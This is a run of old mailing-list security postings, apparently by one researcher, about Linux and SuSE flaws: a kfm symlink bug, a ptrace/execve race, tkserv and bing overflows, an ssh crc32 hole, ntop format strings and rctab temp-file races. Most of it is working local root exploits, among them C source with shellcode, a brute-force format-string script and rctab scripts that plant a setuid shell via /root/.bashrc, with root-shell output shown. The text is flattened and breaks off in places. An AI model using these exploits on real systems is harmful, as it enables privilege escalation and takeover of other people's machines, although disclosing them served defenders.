Hi, there is a symlink/owner problem in the KDE file manager kfm. I found it on my SuSE 7.0 but I'm not sure if it is an original SuSE package or not, rpm doesn't know about it: paul@ps:/tmp rpm -qfi /usr/opt/kde/bin/kfm die Datei /usr/opt/kde/bin/kfm gehrt zu keinem Paket what means that the kfm binary is not known to rpm. However, I suspect that it is included in all KDE1 distributions. kfm will create a cache directory in /tmp without checking for correct onwership named kfm-cache-UID where UID is the numerical user id. Then it will write to files in the cache dir, for example: root@ps:/tmp/kfm-cache-500 ls -la drwxrwxrwx 2 rws uboot4096 Apr 18 21:18 . drwxrwxrwt 15 root root 770048 Apr 18 21:16 .. lrwxrwxrwx 1 rws uboot 18 Apr 18 21:18 index.html - /home/paul/.bashrc -rw-r--r-- 1 rws uboot 0 Apr 18 21:16 index.txt root@ps:/tmp/kfm-cache-500 ls -la /home/paul/.bashrc -rw-r--r-- 1 paul users1458 Jan 23 13:56 /home/paul/.bashrc and after running kfm as user 500: root@ps:/tmp/kfm-cache-500 ls -la /home/paul/.bashrc -rw-r--r-- 1 paul users 271 Apr 18 21:19 /home/paul/.bashrc The impact is obvious :-/ Ihq.
Re: ptrace/execve race condition exploit (brute force)
Wojciech Purczynski wrote: Hi, Here is exploit for ptrace/execve race condition bug in Linux kernels up to 2.2.18. As far as I understand it, the race condition exists between preparing the bprm structure inside the kernel (which will carry the suid/sgid credentials) and setting the effective credentials for current proccess. While playing around with the exploit, I found that the following code will do the job much effectivelly :-) The idea is to consume as much as possible physical memory and leave the child proces with async i/o and open (close on exec) file descriptors. Of course, reading and writing the big file will affect the file cache too. The code will work even repeatedly on the same suid binary (as far as tested on 4 different boxes, problems encountered if creating the file on reiserfs...), it may iterate few times: paul@ps:/usr/home/paul/tmp2 ./sig /bin/su Memaval: 264122368 Wait for ./dupa1151845033.dat... 1 SUCCESS ! EAX:0 EBX:0 ECX:0 EDX:0 ESI:0 EDI:0 EBP:0 OAX:b EFL: 246 ESP: 77b0 EIP: 77b0 sh-2.04# The "EAX:0" line indicates the successfull call to execve() and the value 0xb in OAX that we attached while execve() was called. Ihq. - sig.c - / * * * Ptrace execve race exploit * * by IhaQueR * * basic idea by Wojciech Purczynski * * (note, it is still broken) * * * / #include unistd.h #include sys/ptrace.h #include stdio.h #include signal.h #include sys/wait.h #include asm/ptrace.h #include sys/time.h #include sys/resource.h #include sys/user.h #include sys/types.h #include sys/stat.h #include fcntl.h #define SHELL "/bin/sh" #define SHELL_LEN "\x06" char shellcode[1024]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24" "\x88\x43" SHELL_LEN "\x89\xe1\x8d\x54\x24" "\x04\xb0\x0b\xcd\x80\x31\xc0\x89" "\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL ; volatile int sig=0; volatile int parent=0; volatile int child=0; void chldstart(int v) { sig=1; } dumpregs(volatile struct user_regs_struct* pt) { printf("\n"); printf("EAX: %8x\tEBX: %8x\tECX: %8x\tEDX: %8x\n", pt-eax, pt-ebx, pt-ecx, pt-edx); printf("ESI: %8x\tEDI: %8x\tEBP: %8x\tOAX: %8x\n", pt-esi, pt-edi, pt-ebp, pt-orig_eax); printf("EFL: %8x\tESP: %8x\tEIP: %8x\n", pt-eflags, pt-esp, pt-eip); printf("\n"); fflush(stdout); } main(int ac, char** av) { int res; volatile struct user_regs_struct pt; int i; char* buf; FILE* fp; char tmp[1024]; char tmpfile[1024]; unsigned memaval=0; if(ac 2) { printf("\nUsage: %s suid bin [mem aval]]\n\n", av[0]); exit(1); } if(ac 2) { memaval=atoi(av[2]); } setsid(); setpgrp(); srand(time(NULL)); sprintf(tmpfile, "./dupa%08d.dat", rand()); system("rm -rf dupa*.dat"); parent=getpid(); // get mem if(memaval = 0) { fp = fopen("/proc/meminfo", "r"); if(i0) {printf("\n"); perror("meminfo"); exit(1);} fgets(tmp, 1023, fp); fscanf(fp, "%s %d", tmp, memaval); fclose(fp); } signal(SIGUSR1, chldstart); printf("\nMemaval: %d\n", memaval); printf("\nWait for %s... ", tmpfile); fflush(stdout); i=0; while(1) { i++; sig=0; if((child=fork())) { kill(child, SIGUSR1); while(!sig); res = ptrace(PTRACE_ATTACH, child);
Re: ptrace/execve race condition exploit (non brute-force)
Mariusz Woloszyn wrote: On Tue, 27 Mar 2001, Wojciech Purczynski wrote: Hi, Here is exploit for ptrace/execve race condition bug in Linux kernels up to 2.2.18. Hi! I've seen a tool that works better than this, useing different aproach to the same bug explits it on all platforms giving instant root without the need for cat garbage files to clear disk cache!!! Even with the original exploit code there is a 99.99% chance to gain root access, if you change the line: regs.eip=eip; to: regs.eip=regs.esp; and don't call objdump on the targetted binary before (use only the binary name as argument to epcs). At least with 'exotic' suid binaries like uux or gpasswd which are *never* in the disk cache you will get instant root too. paul@ps:/usr/home/paul/tmp2 ./epcs /usr/bin/gpasswd Bug exploited successfully. sh-2.04# id uid=0(root) gid=0(root) groups=100(users) sh-2.04# Clever admins would chmod 4511 their suid binaries. Ihq.
Remote buffer overflow, remote DoS and format string bug in current IRCd's tkserv
1. Abstract --- There are 3 major bugs in the current IRCd distribution (as used on the IRCnet for example). The included service daemon 'tkserv' (tkserv.c v1.3.0 and all previous versions) suffers from: a) remote exploitable buffer overflow while querying tklines b) memory leck due to strdup'ing a string and not freeing the mem c) format string bug while reading the ircd's config file 2. Details -- a) There is an buffer overflow in the 'void squery_tkline(char **args)' from tkserv.c. The bad part is (*): /* User wants to add tkline(s). */ if (lifetime 0) { passwd = args[4]; pattern = args[6]; (*) strcpy(reason, args[7]); i = 8; /* I know... */ while(args[i] *args[i]) { strncat(reason, " ", TKS_MAXKILLREASON - strlen(reason) - 1); strncat(reason, args[i], TKS_MAXKILLREASON - strlen(reason) - 1); i++; } where reason is defined to be a static char buffer 'char reason[TKS_MAXKILLREASON]' and TKS_MAXKILLREASON is defined to be only 128 characters. Sending an carefully crafted tkline squery to vulnerable tkserv may result in remote code execution and further compromise. Indeed after looking at a running tkserv in gdb, I found that exploitation of this flaw should be very easy. There are only few conditions to meet, e.g. the *args[i] part... We also need to meet the condition 'must_be_opered()' which is checked before the vulnerable code is entered by tkserv. This occurs, if in the tkserv.access file there is at least one access line _not_ containing "!" as the first character, which means that the corresponding user@host pair do _not_ need to have OPER priviledges prior to use tkserv. Or in other words, requesting at least one user@host pair in tkserv.access to have OPER priviledges prior to using tkserv results in remote buffer overflow vulnerability. Of course, having a matching user@host pair, but no tkserv access (which is not so uncommon, believe me.. there are some configuration pitfalls concerning the user@host lines, which I don't want to reveal ;-) the vulnerability can be exploited too. So overflowing 'reason' results in overwriting saved EIP with well known consequences. b) The bad part is (**): int must_be_opered() { FILE *fp; /* if the access file exists, check for auth */ if ((fp = fopen(TKSERV_ACCESSFILE, "r")) != NULL) { char buffer[TKS_MAXBUFFER]; char *access_uh, *token, *uh; while (fgets(buffer, TKS_MAXBUFFER, fp)) { uh= (char *) (strchr(nuh, '!') + 1); token = (char *) strtok(buffer, " "); if (token) { (**) access_uh = (char *) strdup(token); } the pointer returned by strdup is never a subject a free() call. So stressing the tkserv with many unauthorized (!) squery's results in excessive memory usage in effectively in denying the service and maybe other services running on the vulnerable box. c) While the tkserv parses the ircd.conf file, e.g. after requesting a new k-line (the original ircd.conf is read line-by-line and the modified copy written to ircd.conf.tmp, which is copied to ircd.conf after tkserv has finished reading the original config file) there is a vulnerable call to fprintf (***): int check_tklines(char *host, char *user, int lifetime) { FILE *iconf, *iconf_tmp; if ((iconf = fopen(CPATH, "r")) (iconf_tmp = fopen(TKSERV_IRCD_CONFIG_TMP, "w"))) { int count = 0, found = 0; time_t now; char buffer[TKS_MAXBUFFER]; char buf_tmp[TKS_MAXBUFFER]; /* just in case... */ chmod(TKSERV_IRCD_CONFIG_TMP, S_IRUSR | S_IWRITE); now = time(NULL); while (fgets(buffer, TKS_MAXBUFFER, iconf)) { if ((*buffer != 'K') || (!strstr(buffer, "tkserv"))) { (***) fprintf(iconf_tmp, buffer); } the original ircd.conf is fprint'ed line by line to a temporary copy, so if one can include some format conversion operators there, the code will fail (hm, what about /timer1234 9 5 /msg someoper hey moron... ok, I know, with current BIND it wouldn't work...). I think, this is not exploitable in the wild. 3. Solution --- See discussion. Do not request opered access to your tkserv. Update as soon as possible. IhaQueR Security Research.
Remote buffer overflow, remote DoS and format string bug in current IRCd's tkserv - correction
Small correction: One needs at least one _non_ OPERED line in tkserv.access in order to be vulnerable to the mentioned buffer overflow attack. I've read the code too fast :-) ihq.
Quick Analysiss of the recent crc32 ssh(d) bug
1. Abstract --- This article discusses the recently discovered security hole in the crc32 attack detector as found in common ssh packages like OpenSSH and derivates using the ssh-1 protocoll. There is a possible overflow during assignemnet from 32bit integer to 16bit wide one leading to unmasked hash table offsets. In this article I will try to show how: a) exploit the crc32 hole to gain remote access to accounts without providing any password, assuming remote sshd allows empty passwords b) change login-uid if valid account on the remote machine exists. I'm aware about the wide consequences arising form this disclosure and possibly some people will hate me because I wrote this, but after you have read this article, you will see that the exploitation is really hard and tricky but on the other hand interessting. I think that the impact of the crc32 hole is greater than the recent bind bug. I'm not responsible for any damage resulting from this code, if you use this on your own. The exploit code is a set of patches to openssh-2.1.1, but of course one may want to put the needed routines into one code file. Note: this is neither a typical buffer overflow exploit (shell code) nor a format string exploit :-) 2. Details -- Lets look at the vulnerable code in deattack.c. I will derive few conclusions about exploitation of the deattack code here. Original deattack.c code taken from OpenSSH-2.1.1, interessting locations are marked with [n]: int detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV) { static u_int16_t *h = (u_int16_t *) NULL; static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE; register u_int32_t i, j; u_int32_t l; register unsigned char *c; unsigned char *d; if (len (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || len % SSH_BLOCKSIZE != 0) { fatal("detect_attack: bad length %d", len); } [1] for (l = n; l HASH_FACTOR(len / SSH_BLOCKSIZE); l = l 2) ; if (h == NULL) { debug("Installing crc compensation attack detector."); [2] n = l; h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE); } else { if (l n) { n = l; h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE); } } if (len = HASH_MINBLOCKS) { for (c = buf; c buf + len; c += SSH_BLOCKSIZE) { if (IV (!CMP(c, IV))) { if ((check_crc(c, buf, len, IV))) return (DEATTACK_DETECTED); else break; } for (d = buf; d c; d += SSH_BLOCKSIZE) { if (!CMP(c, d)) { if ((check_crc(c, buf, len, IV))) return (DEATTACK_DETECTED); else break; } } } return (DEATTACK_OK); } memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE); if (IV) h[HASH(IV) (n - 1)] = HASH_IV; for (c = buf, j = 0; c (buf + len); c += SSH_BLOCKSIZE, j++) { [3] for (i = HASH(c) (n - 1); h[i] != HASH_UNUSED; i = (i + 1) (n - 1)) { if (h[i] == HASH_IV) { if (!CMP(c, IV)) { if (check_crc(c, buf, len, IV)) return (DEATTACK_DETECTED); else break; } [4] } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) { if (check_crc(c, buf, len, IV)) return (DEATTACK_DETECTED); else break; } } [5] h[i] = j; } return (DEATTACK_OK); } [2] as wee see here, a 32bit int value is assigned to 16bit wide only one. Bad things happen, if n is assigned a (truncated) value 0, because the value of n-1, where nwould expand to 32bit before the calculation is made is used as bit mask for following hash table operation [3]. Because l is computed to be a power of 4 in [1], we do not need to know the exact value for the len argument of detect_attack. We will end with n beeing exactly 0 if len is big enough. The overflow happens at exactly LEN = (16384 / HASH_FACTOR) * SSH_BLOCKSIZE which is 87381. So now we know how to set n to 0. Simply send a ssh1 packet with
Local man exploit
Hi @ll the attached script will create suid man shell on vulnerable systems (man -l bug). ihq. manexpl.sh
ntop -i local exploit
1. Abstract --- There are various format string bugs in the ntop package as mentioned in former Bugtraq articles. This is _not_ a new problem. However, in opposite to the '-w' option bug, an exploit for the existent '-i' option format string bug has never been posted/released. 2. Details -- Many people assume, that format string bugs are heavy to exploit, beacause one must deal with strange offsets. But with a piece of tricky code, format string bugs become really easy exploitable. The idea is of course, not new: brute force the stack address where the retadr is saved during some 'printf' call. The format string needed to reach itself by consumig stack arguments is constructed in an automated manner. It looks like: paddingstackeatwriteaddressnopsshellcode The offsets given at the beginning of the code come from ntop-1.0-21 as found on SuSE 6.1. I didn't have the source of ntop 1.0, but after looking at ntop 1.1 I think that the exploit should work unchanged with 1.1, if not one can play with the value of writeadr and shelladr (try increasing writeadr by 0x100). The address of shellcode isn't critical as we can append enough nops to the begining of the shellcode, but of course it will depend on the size of the environment variables. The rest of the exploit code is really self-explanatory. Sample exploitation looks like this: paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp uname -a Linux phoenix 2.2.16-IPv6 #1 Sun Jun 25 18:07:06 CEST 2000 i586 unknown paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp id uid=500(paul) gid=100(users) groups=100(users),101(untrusted) paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp ntopexpl.sh configured for running /usr/sbin/ntop RETADR = 0xb000 SHELL = 0xb320 NOPS = 128 [+] found /usr/sbin/ntop now searching for offset [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47] [48] [49] [50] [51] [52] [53] [54] [55] [56] [57] [58] [59] [60] [61] [62] [63] [64] [65] [66] [67] [68] [69] [70] [71] [+] OFFSET found to be 284/71 now constructing magic string [+] string fileds prepared [+] bruteforce prog prepared now brute force [ 64] sh: : command not found ntop: listening on PP%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%1 . . (some output) . 0b076ttuuvvwwsh-2.02# sh-2.02# id uid=0(root) gid=100(users) groups=100(users),101(untrusted) sh-2.02# Easy, isn't it? You will need an executable stack, of course. 3. Credits -- Go to Ksecurity ([EMAIL PROTECTED]) for finding this vulnerability. Ihaquer Security Research, www.ihaquer.com ## ntopexpl.sh ## #!/bin/bash # CONFIGURATION: umask 000 target="/usr/sbin/ntop" tmpdir="/tmp/" # address we want to write to (ret on the stack) # has to be an absolute address but we brute force # this scanning 64 addresses from writeadr on writeadr="0xb000" # no. of addresses to scan wrep=64 # address of the shell in our string # must point somewhere to our 'nop' region shadr="0xb320" # number of nops before shellcode declare -i nnops nnops=128 echo echo "---" echo "| ntop local r00t exploit |" echo "| by IhaQueR |" echo "| only for demonstrative purposes |" echo "---" echo echo echo "configured for running $target" echo "RETADR = $writeadr" echo "SHELL = $shadr" echo "NOPS = $nnops" echo # fake shellcode shellfake="SS" # number of nops before shellcode declare -i nnops nnops=128 # make nop field declare -i idx idx=0 nfake="" while test $idx -lt $nnops; do nfake="N$nfake" idx=$(($idx+1)) done; # sanity check :-) if ! test -x $target ; then echo "[-] $target not found or not executable, sorry" exit 1 fi; echo "[+] found $target" declare -i cnt declare -i cntmax cnt=0 cntmax=1024 # make string used for offset search # like headaddrnopsshellcode # PP stands for padding string="%0016d%x%0016d%d%0016d%d%0016d%dABCD${nfake}${shellfake}" padding="PP" declare -i npad npad=2 gstring="" # find offset echo "now searching for offset" echo while test $cnt -le $cntmax ; do gstring="%16g$gstring" string="%16g$string" cnt=$(($cnt+1)) result=$($target -i "$padding$string" 21 | grep "44434241") echo -n "[$cnt] "
Buffer overflow in bing
1. Abstract: There is an overflowable buffer in the bing (throughput meassurement tool) binary. 2. Details: --- The bing tool comes with various Linux distributions. On SuSE (at least 6.0-6.4) bing isn't installed by default, but if installed it will be suid root: 4556 54 -r-sr-xr-x 1 root root 54929 Apr 5 1999 /usr/bin/bing The buffer overflowed is a 80 byte static local buffer: char * pr_addr(l) u_long l; { struct hostent *hp; static char buf[80]; if ((options F_NUMERIC) || !(hp = gethostbyaddr((char *)l, 4, AF_INET))) (void)sprintf(buf, "%s", inet_ntoa(*(struct in_addr *)l)); else (void)sprintf(buf, "%s (%s)", hp-h_name, inet_ntoa(*(struct in_addr *)l)); return(buf); } It is possible to overwrite (look at the objects article) the global 'objects' hook with data comming from gethostbyname. The attacker must have controll of at least one IN-ADDR.arpa zone, in order to force gethostbyname() return an arbitrary host name (wouldn't be too hard I think...) The impact is obvious, even if the overflow is hard to exploit in practice. Another difficulty arises from the fussy gethostbyname(). It may become impossible to supply a host name you need for successfull exploitation, because gethostbyname would filter strange characters and reject bogus hostnames. Though, it depends on the virtual addresses the programm is running at (hm, what about some run time variables of the malloc-system or preload stuff?) Looking at the symbol table I found that: paul@phoenix:~/tmp2/bing objdump --syms /usr/bin/bing|grep "0804f4" 0804f4ac l O .bss 0001 nrand 0804f4a8 l O .bss 0004 lastrand 0804f420 l O .bss 0050 buf.34 0804f470 l O .bss 0004 old_rrlen.37 0804f480 l O .bss 0028 old_rr.38 0804f4b0 l O .bss 0004 objects 0804f4c0 g O .bss ffbc outpack There are 6 variables which we can overwrite, though. The offset from buf to objects hook is 144 (dec). To demonstrate this set up a bogus reverse zone with a revptr like this: "overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil" AbCd is the place where 'objects' will be overwritten. A simple check confirms this: root@phoenix:/var/named /etc/rc.d/named start Starting name server.done root@phoenix:/var/named host 192.168.100.5 5.100.168.192.IN-ADDR.ARPA domain name pointer overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil root@phoenix:/var/named bing -v -e1 -c1 192.168.100.5 192.168.100.5 BING192.168.100.5 (192.168.100.5) and 192.168.100.5 (192.168.100.5) 44 and 108 data bytes 52 bytes from overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil (192.168.100.5): Echo Request 116 bytes from overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil (192.168.100.5): Echo Request --- 192.168.100.5 statistics --- bytes outin dup loss rtt (ms): min avg max 44 1 1 0% 9.621 9.621 9.621 108 1 1 0% 7.477 7.477 7.477 --- 192.168.100.5 statistics --- bytes outin dup loss rtt (ms): min avg max 44 1 0100% 108 1 0100% not enough received packets to estimate link characteristics. resetting after 1 samples. Segmentation fault This hapens after bing has finished its work and the libc stuff is beeing executed: root@phoenix:/var/named gdb /usr/local/bing GNU gdb 4.17.0.11 with Linux support (gdb) set args -v -e1 -c1 192.168.100.5 192.168.100.5 (gdb) run Starting program: /usr/bin/bing -v -e1 -c1 192.168.100.5 192.168.100.5 . . Program received signal SIGSEGV, Segmentation fault. 0x804cc36 in __deregister_frame_info (begin=0x804f1e0) at ./frame.c:581 (gdb) bt #0 0x804cc36 in __deregister_frame_info (begin=0x804f1e0) at ./frame.c:581 #1 0x8048d01 in __do_global_dtors_aux () #2 0x804cf55 in _fini () #3 0x400320f5 in exit (status=0) at exit.c:55 3. Impact: -- On systems with suid /usr/bin/ping it may be possible under certain circumstances to gain root priviledges. 4. Solution: ---- chmod 700 /usr/bin/bing -- Paul Starzetz
Serious security flaw in SuSE rctab
Hi @ll, it seems that the problem described below has not been discussed on Bugtraq. Problem description --- Due to a various race conditions in the init level editing script /sbin/rctab it is possible for any local user to overwrite any system's file with arbitrary data. This may result in denial of service attack, local or even remote root compromise, if root runs the /sbin/rctab script. Details --- The /sbin/rctab script doesn't check for links writing the temporary rctmp file to /tmp/rctmpdir.$PID dir. Also the directory created isn't chown'ed root. Because the PID of the rctab script can be guessed (or looked up, however), any local user can replace the temporary rctmp file with arbitrary content. This can be exploited in one of the following manners: a) local user replaces the rctmp with his own, resulting in enabling/disabling any valid service listed in /sbin/init.d directory. This may lead to a system running a vulnerable service after the runlevel has been switched, resulting in further remote root compromise. b) local user force the rctab script to write the content of rctmp file to any other system's file including /etc/passwd or /etc/shadow. This results in denial of service too. c) local user trick the rctab script to write the contents of rctmp file predecessed by some arbitrary data to some sensitive system file. In conjunction with any sort of shell script executed by the root user and the 'in here documents' it is possible to run any command inside the attacked shell script. d) ...and much more Vulnerable Systems -- At least SuSE 6.1-7.0, maybe other systems using rctab. Exploit --- Attached 2 exploits rcshell.sh: gives you r00tshell assuming that /root/.bashrc is present, root runs crontab -e and saves the changes after changing something in the runlevel table _and_ login again. (Yes, in some cases the script will fail ;-) changerc.sh: replaces system's inittable with an arbitrary one (assuming rctab -e is run too) IhaQueR. - so now the scripts: [changerc.sh] #!/bin/bash # any user can force changes to runlevels # by IhaQueR declare -i PLOW declare -i PHIGH # CONFIG: PLOW=1 PHIGH=3 TMP="/tmp" FAKERC="/tmp/fakerc" RCTMPDIR="rctmpdir" RCTMP="rctmp" _pwd="$PWD" # echo "--" echo "||" echo "| rctab exploit |" echo "|by IhaQueR '2001|" echo "||" echo "--" echo # crate dirs echo "[+] now creating directories" echo "this may take a while" echo declare -i cnt cnt=$PLOW umask 700 while [ $cnt -lt $PHIGH ] do cnt=$(($cnt+1)) if [ $(($cnt % 128)) -eq 0 ] ; then printf "[%6d] " $cnt fi; if [ $(($cnt % 1024)) -eq 0 ] ; then echo fi; mkdir -p "$TMP/$RCTMPDIR.$cnt" done echo echo echo "finished creating dirs" echo # wait for rctab -e declare -i rctabpid rctabpid=0 echo "[+] waiting for root to run rctab" while [ 1 ] do rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'` if test $rctabpid -gt 1 ; then break fi sleep 1 done # rcfile in rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP" echo "[+] got rctab -e at pid $rctabpid" # test if we own the directory rcdir="/tmp/rctmpdir.$rctabpid" if test -O $rcdir ; then echo "[+] ok, we own the dir" else echo "[-] hm, we are not owner" exit 2 fi # wait for root to finish editing sleep 4 declare -i vipid vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'` echo "root is editing now at $vipid, wait for $rcfile" pfile="/proc/$vipid" while test -d $pfile do echo -n /dev/null done rm -rf $rcfile cp $FAKERC $rcfile echo "[+] gotcha!" echo "installed new rctab from $FAKERC" - [rcshell.sh] #!/bin/bash # any user can force changes to runlevels # by IhaQueR declare -i PLOW declare -i PHIGH # CONFIG: PLOW=1 PHIGH=3 TMP="/tmp" FAKERC=/tmp/fakerc RCTMPDIR="rctmpdir" RCTMP="rctmp" WRITETO="/root/.bashrc" SUSH="/tmp/sush" # what we want to write to $WRITETO (oops...) declare -i idx idx=0 rchead="" while test "$idx" -lt 128 ; do rchead="$rchead " idx=$(($idx+1)) done rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat /dev/null _DUPA_" _pwd="$PWD" # echo "--" echo "||" echo "|local rctab root exploit|" echo "| you would need luck |" echo "| and an admin stupid enough |" echo "|by IhaQueR '2001|" echo "|